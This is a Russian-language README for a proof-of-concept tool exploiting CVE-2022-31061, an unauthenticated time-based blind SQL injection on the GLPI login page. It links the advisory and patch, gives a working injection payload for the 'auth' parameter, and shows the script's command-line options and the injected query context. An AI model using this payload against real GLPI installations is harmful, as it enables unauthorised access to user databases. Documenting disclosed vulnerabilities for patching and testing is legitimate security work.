CVE-2022-31061

PoC для GLPI CVE-2022-31061

Proof of Concept для GLPI >= 9.3.0 и < 10.0.2 - Неавторизованная SQL-инъекция на странице входа

Правовое предупреждение :

Использование этого сценария для атаки на цель без обоюдного согласия незаконно. Ответственность конечного пользователя — соблюдать все применимые законы в его регионе. Разработчики не несут ответственности за любое неправомерное использование или ущерб, причинённый этой программой.

Контекст :

Публичное раскрытие : https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq от 2022-06-28

Патч : https://github.com/glpi-project/glpi/releases/tag/10.0.2 от 2022-06-28

Коммит : https://github.com/glpi-project/glpi/commit/21ae07d00d0b3230f6235386e98388cfc5bb0514

Уязвимость :

страница : POST /front/login.php
параметр : &auth=ldap-1%27+UNION+SELECT+SLEEP%285%29+%23+
инъекция : Слепая time-based инъекция

##Использование

Usage: CVE-2022-31061.py -t https://example.com [-v] [-c cmd]

Options:
  -h, --help            show this help message and exit
  -t TARGET, --target=TARGET
                        GLPI Website to audit
  -v, --verbose         Display verbose output
  -c CMD, --cmd=CMD     payload to inject. Time based Bind Injection. Context
                        : ' SELECT `id` FROM `glpi_users` WHERE `name` =
                        'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1'
                        [payload] # '
  -u USERAGENT, --user-agent=USERAGENT
                        user-agent to use
  -p PROXY, --proxy=PROXY
                        proxy to use

CVE-2022-31061

Популярное

Пример :